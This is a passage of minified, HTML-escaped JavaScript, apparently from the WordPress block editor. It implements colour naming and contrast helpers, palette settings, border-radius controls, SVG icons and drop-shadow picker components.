ise:&quot;#00ced1&quot;,lightcyan:&quot;#e0ffff&quot;,ivory:&quot;#fffff0&quot;,lightyellow:&quot;#ffffe0&quot;,lightsalmon:&quot;#ffa07a&quot;,lightseagreen:&quot;#20b2aa&quot;,linen:&quot;#faf0e6&quot;,mediumaquamarine:&quot;#66cdaa&quot;,lemonchiffon:&quot;#fffacd&quot;,lime:&quot;#00ff00&quot;,khaki:&quot;#f0e68c&quot;,mediumseagreen:&quot;#3cb371&quot;,limegreen:&quot;#32cd32&quot;,mediumspringgreen:&quot;#00fa9a&quot;,lightskyblue:&quot;#87cefa&quot;,lightblue:&quot;#add8e6&quot;,midnightblue:&quot;#191970&quot;,lightpink:&quot;#ffb6c1&quot;,mistyrose:&quot;#ffe4e1&quot;,moccasin:&quot;#ffe4b5&quot;,mintcream:&quot;#f5fffa&quot;,lightslategray:&quot;#778899&quot;,lightslategrey:&quot;#778899&quot;,navajowhite:&quot;#ffdead&quot;,navy:&quot;#000080&quot;,mediumvioletred:&quot;#c71585&quot;,powderblue:&quot;#b0e0e6&quot;,palegoldenrod:&quot;#eee8aa&quot;,oldlace:&quot;#fdf5e6&quot;,paleturquoise:&quot;#afeeee&quot;,mediumturquoise:&quot;#48d1cc&quot;,mediumorchid:&quot;#ba55d3&quot;,rebeccapurple:&quot;#663399&quot;,lightsteelblue:&quot;#b0c4de&quot;,mediumslateblue:&quot;#7b68ee&quot;,thistle:&quot;#d8bfd8&quot;,tan:&quot;#d2b48c&quot;,orchid:&quot;#da70d6&quot;,mediumpurple:&quot;#9370db&quot;,purple:&quot;#800080&quot;,pink:&quot;#ffc0cb&quot;,skyblue:&quot;#87ceeb&quot;,springgreen:&quot;#00ff7f&quot;,palegreen:&quot;#98fb98&quot;,red:&quot;#ff0000&quot;,yellow:&quot;#ffff00&quot;,slateblue:&quot;#6a5acd&quot;,lavenderblush:&quot;#fff0f5&quot;,peru:&quot;#cd853f&quot;,palevioletred:&quot;#db7093&quot;,violet:&quot;#ee82ee&quot;,teal:&quot;#008080&quot;,slategray:&quot;#708090&quot;,slategrey:&quot;#708090&quot;,aliceblue:&quot;#f0f8ff&quot;,darkseagreen:&quot;#8fbc8f&quot;,darkolivegreen:&quot;#556b2f&quot;,greenyellow:&quot;#adff2f&quot;,seagreen:&quot;#2e8b57&quot;,seashell:&quot;#fff5ee&quot;,tomato:&quot;#ff6347&quot;,silver:&quot;#c0c0c0&quot;,sienna:&quot;#a0522d&quot;,lavender:&quot;#e6e6fa&quot;,lightgreen:&quot;#90ee90&quot;,orange:&quot;#ffa500&quot;,orangered:&quot;#ff4500&quot;,steelblue:&quot;#4682b4&quot;,royalblue:&quot;#4169e1&quot;,turquoise:&quot;#40e0d0&quot;,yellowgreen:&quot;#9acd32&quot;,salmon:&quot;#fa8072&quot;,saddlebrown:&quot;#8b4513&quot;,sandybrown:&quot;#f4a460&quot;,rosybrown:&quot;#bc8f8f&quot;,darksalmon:&quot;#e9967a&quot;,lightgoldenrodyellow:&quot;#fafad2&quot;,snow:&quot;#fffafa&quot;,lightgrey:&quot;#d3d3d3&quot;,lightgray:&quot;#d3d3d3&quot;,dimgray:&quot;#696969&quot;,dimgrey:&quot;#696969&quot;,olivedrab:&quot;#6b8e23&quot;,olive:&quot;#808000&quot;},o={};for(var r in n)o[n[r]]=r;var i={};e.prototype.toName=function(t){if(!(this.rgba.a||this.rgba.r||this.rgba.g||this.rgba.b))return&quot;transparent&quot;;var r,s,l=o[this.toHex()];if(l)return l;if(null==t?void 0:t.closest){var a=this.toRgb(),c=1/0,u=&quot;black&quot;;if(!i.length)for(var d in n)i[d]=new e(n[d]).toRgb();for(var p in n){var h=(r=a,s=i[p],Math.pow(r.r-s.r,2)+Math.pow(r.g-s.g,2)+Math.pow(r.b-s.b,2));h&lt;c&amp;&amp;(c=h,u=p)}return u}},t.string.push([function(t){var o=t.toLowerCase(),r=&quot;transparent&quot;===o?&quot;#0000&quot;:n[o];return r?new e(r).toRgb():null},&quot;name&quot;])}var Id=function(e){var t=e/255;return t&lt;.04045?t/12.92:Math.pow((t+.055)/1.055,2.4)},jd=function(e){return.2126*Id(e.r)+.7152*Id(e.g)+.0722*Id(e.b)};function Ed(e){e.prototype.luminance=function(){return e=jd(this.rgba),void 0===(t=2)&amp;&amp;(t=0),void 0===n&amp;&amp;(n=Math.pow(10,t)),Math.round(n*e)/n+0;var e,t,n},e.prototype.contrast=function(t){void 0===t&amp;&amp;(t=&quot;#FFF&quot;);var n,o,r,i,s,l,a,c=t instanceof e?t:new e(t);return i=this.rgba,s=c.toRgb(),n=(l=jd(i))&gt;(a=jd(s))?(l+.05)/(a+.05):(a+.05)/(l+.05),void 0===(o=2)&amp;&amp;(o=0),void 0===r&amp;&amp;(r=Math.pow(10,o)),Math.floor(r*n)/r+0},e.prototype.isReadable=function(e,t){return void 0===e&amp;&amp;(e=&quot;#FFF&quot;),void 0===t&amp;&amp;(t={}),this.contrast(e)&gt;=(s=void 0===(i=(n=t).size)?&quot;normal&quot;:i,&quot;AAA&quot;===(r=void 0===(o=n.level)?&quot;AA&quot;:o)&amp;&amp;&quot;normal&quot;===s?7:&quot;AA&quot;===r&amp;&amp;&quot;large&quot;===s?3:4.5);var n,o,r,i,s}}Cd([Bd,Ed]);const{kebabCase:Td}=U(Ss.privateApis),Md=(e,t,n)=&gt;{if(t){const n=e?.find((e=&gt;e.slug===t));if(n)return n}return{color:n}},Pd=(e,t)=&gt;e?.find((e=&gt;e.color===t));function Rd(e,t){if(e&amp;&amp;t)return`has-${Td(t)}-${e}`}function Ad(){const[e,t,n,o,r,i,s,l,a,c]=Ei(&quot;color.custom&quot;,&quot;color.palette.custom&quot;,&quot;color.palette.theme&quot;,&quot;color.palette.default&quot;,&quot;color.defaultPalette&quot;,&quot;color.customGradient&quot;,&quot;color.gradients.custom&quot;,&quot;color.gradients.theme&quot;,&quot;color.gradients.default&quot;,&quot;color.defaultGradients&quot;),u={disableCustomColors:!e,disableCustomGradients:!i};return u.colors=(0,h.useMemo)((()=&gt;{const e=[];return n&amp;&amp;n.length&amp;&amp;e.push({name:(0,T._x)(&quot;Theme&quot;,&quot;Indicates this palette comes from the theme.&quot;),slug:&quot;theme&quot;,colors:n}),r&amp;&amp;o&amp;&amp;o.length&amp;&amp;e.push({name:(0,T._x)(&quot;Default&quot;,&quot;Indicates this palette comes from WordPress.&quot;),slug:&quot;default&quot;,colors:o}),t&amp;&amp;t.length&amp;&amp;e.push({name:(0,T._x)(&quot;Custom&quot;,&quot;Indicates this palette is created by the user.&quot;),slug:&quot;custom&quot;,colors:t}),e}),[t,n,o,r]),u.gradients=(0,h.useMemo)((()=&gt;{const e=[];return l&amp;&amp;l.length&amp;&amp;e.push({name:(0,T._x)(&quot;Theme&quot;,&quot;Indicates this palette comes from the theme.&quot;),slug:&quot;theme&quot;,gradients:l}),c&amp;&amp;a&amp;&amp;a.length&amp;&amp;e.push({name:(0,T._x)(&quot;Default&quot;,&quot;Indicates this palette comes from WordPress.&quot;),slug:&quot;default&quot;,gradients:a}),s&amp;&amp;s.length&amp;&amp;e.push({name:(0,T._x)(&quot;Custom&quot;,&quot;Indicates this palette is created by the user.&quot;),slug:&quot;custom&quot;,gradients:s}),e}),[s,l,a,c]),u.hasColorsOrGradients=!!u.colors.length||!!u.gradients.length,u}var Nd=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z&quot;})});function Ld({isLinked:e,...t}){const n=e?(0,T.__)(&quot;Unlink radii&quot;):(0,T.__)(&quot;Link radii&quot;);return(0,d.jsx)(Ss.Button,{...t,className:&quot;components-border-radius-control__linked-button&quot;,size:&quot;small&quot;,icon:e?Nd:Ja,iconSize:24,label:n})}function Dd(e){return[...e].sort(((t,n)=&gt;e.filter((e=&gt;e===n)).length-e.filter((e=&gt;e===t)).length)).shift()}function Od(e){return!!e?.includes&amp;&amp;(&quot;0&quot;===e||e.includes(&quot;var:preset|border-radius|&quot;))}function zd(e){if(!e)return;if(&quot;0&quot;===e||&quot;default&quot;===e)return e;const t=e.match(/var:preset\|border-radius\|(.+)/);return t?t[1]:void 0}function Vd(e,t){if(!Od(e))return e;const n=0===parseFloat(e,10)?&quot;0&quot;:zd(e),o=t.find((e=&gt;String(e.slug)===n));return o?.size}function Fd(e,t,n){const o=parseInt(e,10);if(&quot;selectList&quot;===t){if(0===o)return}else if(0===o)return&quot;0&quot;;return`var:preset|border-radius|${n[e]?.slug}`}function Hd(e,t){if(!e||Od(e)||&quot;0&quot;===e)return e;const n=t.find((t=&gt;String(t.size)===String(e)));return n?.slug?`var:preset|border-radius|${n.slug}`:e}var Ud=(0,d.jsxs)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,d.jsx)(ce.Path,{d:&quot;m19 7.5h-7.628c-.3089-.87389-1.1423-1.5-2.122-1.5-.97966 0-1.81309.62611-2.12197 1.5h-2.12803v1.5h2.12803c.30888.87389 1.14231 1.5 2.12197 1.5.9797 0 1.8131-.62611 2.122-1.5h7.628z&quot;}),(0,d.jsx)(ce.Path,{d:&quot;m19 15h-2.128c-.3089-.8739-1.1423-1.5-2.122-1.5s-1.8131.6261-2.122 1.5h-7.628v1.5h7.628c.3089.8739 1.1423 1.5 2.122 1.5s1.8131-.6261 2.122-1.5h2.128z&quot;})]}),Gd=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5Zm-12.5 9v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z&quot;})}),$d=(0,d.jsxs)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,d.jsx)(ce.G,{opacity:&quot;.25&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5ZM5.75 18v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z&quot;})}),(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M6 5.75a.25.25 0 0 0-.25.25v3h-1.5V6c0-.966.784-1.75 1.75-1.75h3v1.5H6Z&quot;})]}),Wd=(0,d.jsxs)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,d.jsx)(ce.G,{opacity:&quot;.25&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5ZM5.75 18v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z&quot;})}),(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5Z&quot;})]}),Kd=(0,d.jsxs)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,d.jsx)(ce.G,{opacity:&quot;.25&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5ZM5.75 18v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z&quot;})}),(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M5.75 15v3c0 .138.112.25.25.25h3v1.5H6A1.75 1.75 0 0 1 4.25 18v-3h1.5Z&quot;})]}),Zd=(0,d.jsxs)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:[(0,d.jsx)(ce.G,{opacity:&quot;.25&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M5.75 6A.25.25 0 0 1 6 5.75h3v-1.5H6A1.75 1.75 0 0 0 4.25 6v3h1.5V6ZM18 18.25h-3v1.5h3A1.75 1.75 0 0 0 19.75 18v-3h-1.5v3a.25.25 0 0 1-.25.25ZM18.25 9V6a.25.25 0 0 0-.25-.25h-3v-1.5h3c.966 0 1.75.784 1.75 1.75v3h-1.5ZM5.75 18v-3h-1.5v3c0 .966.784 1.75 1.75 1.75h3v-1.5H6a.25.25 0 0 1-.25-.25Z&quot;})}),(0,d.jsx)(ce.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M15 18.25h3a.25.25 0 0 0 .25-.25v-3h1.5v3A1.75 1.75 0 0 1 18 19.75h-3v-1.5Z&quot;})]});const qd={topLeft:void 0,topRight:void 0,bottomLeft:void 0,bottomRight:void 0},Yd=8,Xd=[],Qd={all:(0,T.__)(&quot;Border radius&quot;),topLeft:(0,T.__)(&quot;Top left&quot;),topRight:(0,T.__)(&quot;Top right&quot;),bottomLeft:(0,T.__)(&quot;Bottom left&quot;),bottomRight:(0,T.__)(&quot;Bottom right&quot;)},Jd={all:Gd,topLeft:$d,topRight:Wd,bottomLeft:Kd,bottomRight:Zd},ep=0,tp={px:100,em:20,rem:20};function np({corner:e,onChange:t,selectedUnits:n,setSelectedUnits:o,values:r,units:i,presets:s}){const l=n=&gt;{t(&quot;all&quot;===e?{topLeft:n,topRight:n,bottomLeft:n,bottomRight:n}:{...a,[e]:n})},a=&quot;string&quot;!=typeof r?r:{topLeft:r,topRight:r,bottomLeft:r,bottomRight:r};let c;if(&quot;all&quot;===e){const e=function(e,t){if(!e||&quot;object&quot;!=typeof e)return e;const n={};return Object.keys(e).forEach((o=&gt;{const r=e[o];if(Od(r)){const e=Vd(r,t);n[o]=void 0!==e?e:r}else n[o]=r})),n}(a,s),t=function(e={}){if(&quot;string&quot;==typeof e)return e;const t=Object.values(e).map((e=&gt;{const t=(0,Ss.__experimentalParseQuantityAndUnitFromRawValue)(e);return&quot;string&quot;==typeof e&amp;&amp;void 0===t[0]?[e,&quot;&quot;]:t})),n=t.map((e=&gt;e[0]??&quot;&quot;)),o=t.map((e=&gt;e[1])),r=n.every((e=&gt;e===n[0]))?n[0]:&quot;&quot;,i=Dd(o);return 0===r||r?`${r}${i||&quot;&quot;}`:void 0}(e);c=Hd(t,s)}else c=Hd(a[e],s);const u=Od(c)?Vd(c,s):c,[p,g]=(0,Ss.__experimentalParseQuantityAndUnitFromRawValue)(u),m=c?g:n[e]||n.flat||&quot;px&quot;,f=i&amp;&amp;i.find((e=&gt;e.value===m)),b=f?.step||1,[k,v]=(0,h.useState)(void 0!==c&amp;&amp;!Od(c)),_=s.length&lt;=Yd,y=function(e,t){if(void 0===e)return 0;const n=0===parseFloat(e,10)?&quot;0&quot;:zd(e),o=t.findIndex((e=&gt;String(e.slug)===n));return-1!==o?o:NaN}(c,s),x=s.slice(1,s.length-1).map(((e,t)=&gt;({value:t+1,label:void 0}))),S=x.length&gt;0;let w=[];_||(w=[...s,{name:(0,T.__)(&quot;Custom&quot;),slug:&quot;custom&quot;,size:u}].map(((e,t)=&gt;({key:t,name:e.name}))));const C=Jd[e];return(0,d.jsxs)(Ss.__experimentalHStack,{children:[C&amp;&amp;(0,d.jsx)(Ss.Icon,{className:&quot;components-border-radius-control__icon&quot;,icon:C,size:24}),(!S||k)&amp;&amp;(0,d.jsxs)(&quot;div&quot;,{className:&quot;components-border-radius-control__input-controls-wrapper&quot;,children:[(0,d.jsx)(Ss.Tooltip,{text:Qd[e],placement:&quot;top&quot;,children:(0,d.jsx)(&quot;div&quot;,{className:&quot;components-border-radius-control__tooltip-wrapper&quot;,children:(0,d.jsx)(Ss.__experimentalUnitControl,{className:&quot;components-border-radius-control__unit-control&quot;,&quot;aria-label&quot;:Qd[e],value:[p,m].join(&quot;&quot;),onChange:e=&gt;{if(!t)return;const n=!isNaN(parseFloat(e));l(n?e:void 0)},onUnitChange:t=&gt;{const r={...n};&quot;all&quot;===e?(r.flat=t,r.topLeft=t,r.topRight=t,r.bottomLeft=t,r.bottomRight=t):r[e]=t,o(r)},size:&quot;__unstable-large&quot;,min:ep,units:i})})}),(0,d.jsx)(Ss.RangeControl,{__next40pxDefaultSize:!0,label:(0,T.__)(&quot;Border radius&quot;),hideLabelFromVision:!0,className:&quot;components-border-radius-control__range-control&quot;,value:p??&quot;&quot;,min:ep,max:tp[m],initialPosition:0,withInputField:!1,onChange:e=&gt;{l(void 0!==e?`${e}${m}`:void 0)},step:b,__nextHasNoMarginBottom:!0})]}),S&amp;&amp;_&amp;&amp;!k&amp;&amp;(0,d.jsx)(Ss.RangeControl,{__next40pxDefaultSize:!0,className:&quot;components-border-radius-control__range-control&quot;,value:y,onChange:e=&gt;{l(Fd(e,&quot;range&quot;,s))},withInputField:!1,&quot;aria-valuenow&quot;:y,&quot;aria-valuetext&quot;:s[y]?.name,renderTooltipContent:e=&gt;void 0===c?void 0:s[e]?.name,min:0,max:s.length-1,marks:x,label:Qd[e],hideLabelFromVision:!0,__nextHasNoMarginBottom:!0}),!_&amp;&amp;!k&amp;&amp;(0,d.jsx)(Ss.CustomSelectControl,{className:&quot;components-border-radius-control__custom-select-control&quot;,value:w.find((e=&gt;e.key===y))||w[w.length-1],onChange:e=&gt;{e.selectedItem.key===w.length-1?v(!0):l(Fd(e.selectedItem.key,&quot;selectList&quot;,s))},options:w,label:Qd[e],hideLabelFromVision:!0,size:&quot;__unstable-large&quot;}),S&amp;&amp;(0,d.jsx)(Ss.Button,{label:k?(0,T.__)(&quot;Use border radius preset&quot;):(0,T.__)(&quot;Set custom border radius&quot;),icon:Ud,onClick:()=&gt;{v(!k)},isPressed:k,size:&quot;small&quot;,className:&quot;components-border-radius-control__custom-toggle&quot;,iconSize:24})]})}function op({onChange:e,values:t,presets:n}){const[o,r]=(0,h.useState)(!function(e){return!!e&amp;&amp;(&quot;string&quot;==typeof e||!!Object.values(e).filter((e=&gt;!!e||0===e)).length)}(t)||!function(e={}){if(&quot;string&quot;==typeof e)return!1;if(!e||&quot;object&quot;!=typeof e)return!1;const t=Object.values(e);if(0===t.length)return!1;const n=t[0];return!t.every((e=&gt;e===n))}(t)),i=function(e){const t=e?.default??Xd,n=e?.custom??Xd,o=e?.theme??Xd;return(0,h.useMemo)((()=&gt;{const e=[{name:(0,T.__)(&quot;None&quot;),slug:&quot;0&quot;,size:0},...n,...o,...t];return e.length&gt;Yd?[{name:(0,T.__)(&quot;Default&quot;),slug:&quot;default&quot;,size:void 0},...e]:e}),[n,o,t])}(n),[s,l]=(0,h.useState)({flat:&quot;string&quot;==typeof t?(0,Ss.__experimentalParseQuantityAndUnitFromRawValue)(t)[1]:void 0,topLeft:(0,Ss.__experimentalParseQuantityAndUnitFromRawValue)(t?.topLeft)[1],topRight:(0,Ss.__experimentalParseQuantityAndUnitFromRawValue)(t?.topRight)[1],bottomLeft:(0,Ss.__experimentalParseQuantityAndUnitFromRawValue)(t?.bottomLeft)[1],bottomRight:(0,Ss.__experimentalParseQuantityAndUnitFromRawValue)(t?.bottomRight)[1]}),[a]=Ei(&quot;spacing.units&quot;),c=(0,Ss.__experimentalUseCustomUnits)({availableUnits:a||[&quot;px&quot;,&quot;em&quot;,&quot;rem&quot;]});return(0,d.jsxs)(&quot;fieldset&quot;,{className:&quot;components-border-radius-control&quot;,children:[(0,d.jsxs)(Ss.__experimentalHStack,{className:&quot;components-border-radius-control__header&quot;,children:[(0,d.jsx)(Ss.BaseControl.VisualLabel,{as:&quot;legend&quot;,children:(0,T.__)(&quot;Radius&quot;)}),(0,d.jsx)(Ld,{onClick:()=&gt;r(!o),isLinked:o})]}),o?(0,d.jsx)(d.Fragment,{children:(0,d.jsx)(np,{onChange:e,selectedUnits:s,setSelectedUnits:l,values:t,units:c,corner:&quot;all&quot;,presets:i})}):(0,d.jsx)(Ss.__experimentalVStack,{children:[&quot;topLeft&quot;,&quot;topRight&quot;,&quot;bottomLeft&quot;,&quot;bottomRight&quot;].map((n=&gt;(0,d.jsx)(np,{onChange:e,selectedUnits:s,setSelectedUnits:l,values:t||qd,units:c,corner:n,presets:i},n)))})]})}var rp=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M16.5 7.5 10 13.9l-2.5-2.4-1 1 3.5 3.6 7.5-7.6z&quot;})}),ip=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M12 8c-2.2 0-4 1.8-4 4s1.8 4 4 4 4-1.8 4-4-1.8-4-4-4zm0 6.5c-1.4 0-2.5-1.1-2.5-2.5s1.1-2.5 2.5-2.5 2.5 1.1 2.5 2.5-1.1 2.5-2.5 2.5zM12.8 3h-1.5v3h1.5V3zm-1.6 18h1.5v-3h-1.5v3zm6.8-9.8v1.5h3v-1.5h-3zm-12 0H3v1.5h3v-1.5zm9.7 5.6 2.1 2.1 1.1-1.1-2.1-2.1-1.1 1.1zM8.3 7.2 6.2 5.1 5.1 6.2l2.1 2.1 1.1-1.1zM5.1 17.8l1.1 1.1 2.1-2.1-1.1-1.1-2.1 2.1zM18.9 6.2l-1.1-1.1-2.1 2.1 1.1 1.1 2.1-2.1z&quot;})});const sp=[];function lp({shadow:e,onShadowChange:t,settings:n}){const o=pp(n);return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-global-styles__shadow-popover-container&quot;,children:(0,d.jsxs)(Ss.__experimentalVStack,{spacing:4,children:[(0,d.jsx)(Ss.__experimentalHeading,{level:5,children:(0,T.__)(&quot;Drop shadow&quot;)}),(0,d.jsx)(ap,{presets:o,activeShadow:e,onSelect:t}),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-global-styles__clear-shadow&quot;,children:(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:()=&gt;t(void 0),disabled:!e,accessibleWhenDisabled:!0,children:(0,T.__)(&quot;Clear&quot;)})})]})})}function ap({presets:e,activeShadow:t,onSelect:n}){return e?(0,d.jsx)(Ss.Composite,{role:&quot;listbox&quot;,className:&quot;block-editor-global-styles__shadow__list&quot;,&quot;aria-label&quot;:(0,T.__)(&quot;Drop shadows&quot;),children:e.map((({name:e,slug:o,shadow:r})=&gt;(0,d.jsx)(cp,{label:e,isActive:r===t,type:&quot;unset&quot;===o?&quot;unset&quot;:&quot;preset&quot;,onSelect:()=&gt;n(r===t?void 0:r),shadow:r},o)))}):null}function cp({type:e,label:t,isActive:n,onSelect:o,shadow:r}){return(0,d.jsx)(Ss.Tooltip,{text:t,children:(0,d.jsx)(Ss.Composite.Item,{role:&quot;option&quot;,&quot;aria-label&quot;:t,&quot;aria-selected&quot;:n,className:gs(&quot;block-editor-global-styles__shadow__item&quot;,{&quot;is-active&quot;:n}),render:(0,d.jsx)(&quot;button&quot;,{className:gs(&quot;block-editor-global-styles__shadow-indicator&quot;,{unset:&quot;unset&quot;===e}),onClick:o,style:{boxShadow:r},&quot;aria-label&quot;:t,children:n&amp;&amp;(0,d.jsx)(Dl,{icon:rp})})})})}function up({shadow:e,onShadowChange:t,settings:n}){return(0,d.jsx)(Ss.Dropdown,{popoverProps:{placement:&quot;left-start&quot;,offset:36,shift:!0},className:&quot;block-editor-global-styles__shadow-dropdown&quot;,renderToggle:dp(e,t),renderContent:()=&gt;(0,d.jsx)(Ss.__experimentalDropdownContentWrapper,{paddingSize:&quot;medium&quot;,children:(0,d.jsx)(lp,{shadow:e,onShadowChange:t,settings:n})})})}function dp(e,t){return({onToggle:n,isOpen:o})=&gt;{const r=(0,h.useRef)(void 0),i={onClick:n,className:gs(&quot;block-editor-global-styles__shadow-dropdown-toggle&quot;,{&quot;is-open&quot;:o}),&quot;aria-expanded&quot;:o,ref:r},s={onClick:()=&gt;{o&amp;&amp;n(),t(void 0),r.current?.focus()},className:gs(&quot;block-editor-global-styles__shadow-editor__remove-button&quot;,{&quot;is-open&quot;:o}),label:(0,T.__)(&quot;Remove&quot;)};return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,...i,children:(0,d.jsxs)(Ss.__experimentalHStack,{justify:&quot;flex-start&quot;,children:[(0,d.jsx)(Dl,{className:&quot;block-editor-global-styles__toggle-icon&quot;,icon:ip,size:24}),(0,d.jsx)(Ss.FlexItem,{children:(0,T.__)(&quot;Drop shadow&quot;)})]})}),!!e&amp;&amp;(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,size:&quot;small&quot;,icon:Fa,...s})]})}}function pp(e){return(0,h.useMemo)((()=&gt;{if(!e?.shadow)return sp;const t=e?.shadow?.defaultPresets,{default:n,theme:o,custom:r}=e?.shadow?.presets??{},i={name:(0,T.__)(&quot;Unset&quot;),slug:&quot;unset&quot;,shadow:&quot;none&quot;},s=[...t&amp;&amp;n||sp,...o||sp,...r||sp];return s.length&amp;&amp;s.unshift(i),s}),[e])}function hp(e){return Object.values(gp(e)).some(Boolean)}function gp(e){return{hasBorderColor:mp(e),hasBorderRadius:fp(e),hasBorderStyle:bp(e),hasBorderWidth:kp(e),hasShadow:vp(e)}}function mp(e){return e?.border?.color}function fp(e){return e?.border?.radius}function bp(e){return e?.border?.style}function kp(e){return e?.border?.width}function vp(e){const t=pp(e);return!!e?.shadow&amp;&amp;t.length&gt;0}function _p({resetAllFilter:e,onChange:t,value:n,panelId:o,children:r,label:i}){const s=Qi();return(0,d.jsx)(Ss.__experimentalToolsPanel,{label:i,resetAll:()=&gt;{const o=e(n);t(o)},panelId:o,dropdownMenuProps:s,children:r})}const yp={radius:!0,color:!0,width:!0,shadow:!0};function xp({as:e=_p,value:t,onChange:n,inheritedValue:o=t,settings:r,panelId:i,name:s,defaultControls:l=yp}){const a=ds(r),c=(0,h.useCallback)((e=&gt;es({settings:r},&quot;&quot;,e)),[r]),u=e=&gt;{const t=a.flatMap((({colors:e})=&gt;e)).find((({color:t})=&gt;t===e));return t?&quot;var:preset|color|&quot;+t.slug:e},p=(0,h.useMemo)((()=&gt;{if((0,Ss.__experimentalHasSplitBorders)(o?.border)){const e={...o?.border};return[&quot;top&quot;,&quot;right&quot;,&quot;bottom&quot;,&quot;left&quot;].forEach((t=&gt;{e[t]={...e[t],color:c(e[t]?.color)}})),e}return{...o?.border,color:o?.border?.color?c(o?.border?.color):void 0}}),[o?.border,c]),g=e=&gt;n({...t,border:e}),m=mp(r),f=bp(r),b=kp(r),k=fp(r),v=(0,h.useMemo)((()=&gt;&quot;object&quot;!=typeof o?.border?.radius?c(o?.border?.radius):{topLeft:c(o?.border?.radius?.topLeft),topRight:c(o?.border?.radius?.topRight),bottomLeft:c(o?.border?.radius?.bottomLeft),bottomRight:c(o?.border?.radius?.bottomRight)}),[o?.border?.radius,c]),_=e=&gt;g({...p,radius:e}),y=()=&gt;{const e=t?.border?.radius;return&quot;object&quot;==typeof e?Object.entries(e).some(Boolean):!!e},x=vp(r),S=c(o?.shadow),w=r?.shadow?.presets??{},C=w.custom??w.theme??w.default??[],B=e=&gt;{const o=C?.find((({shadow:t})=&gt;t===e))?.slug;n(ge(t,[&quot;shadow&quot;],o?`var:preset|shadow|${o}`:e||void 0))},I=(0,h.useCallback)((e=&gt;({...e,border:void 0,shadow:void 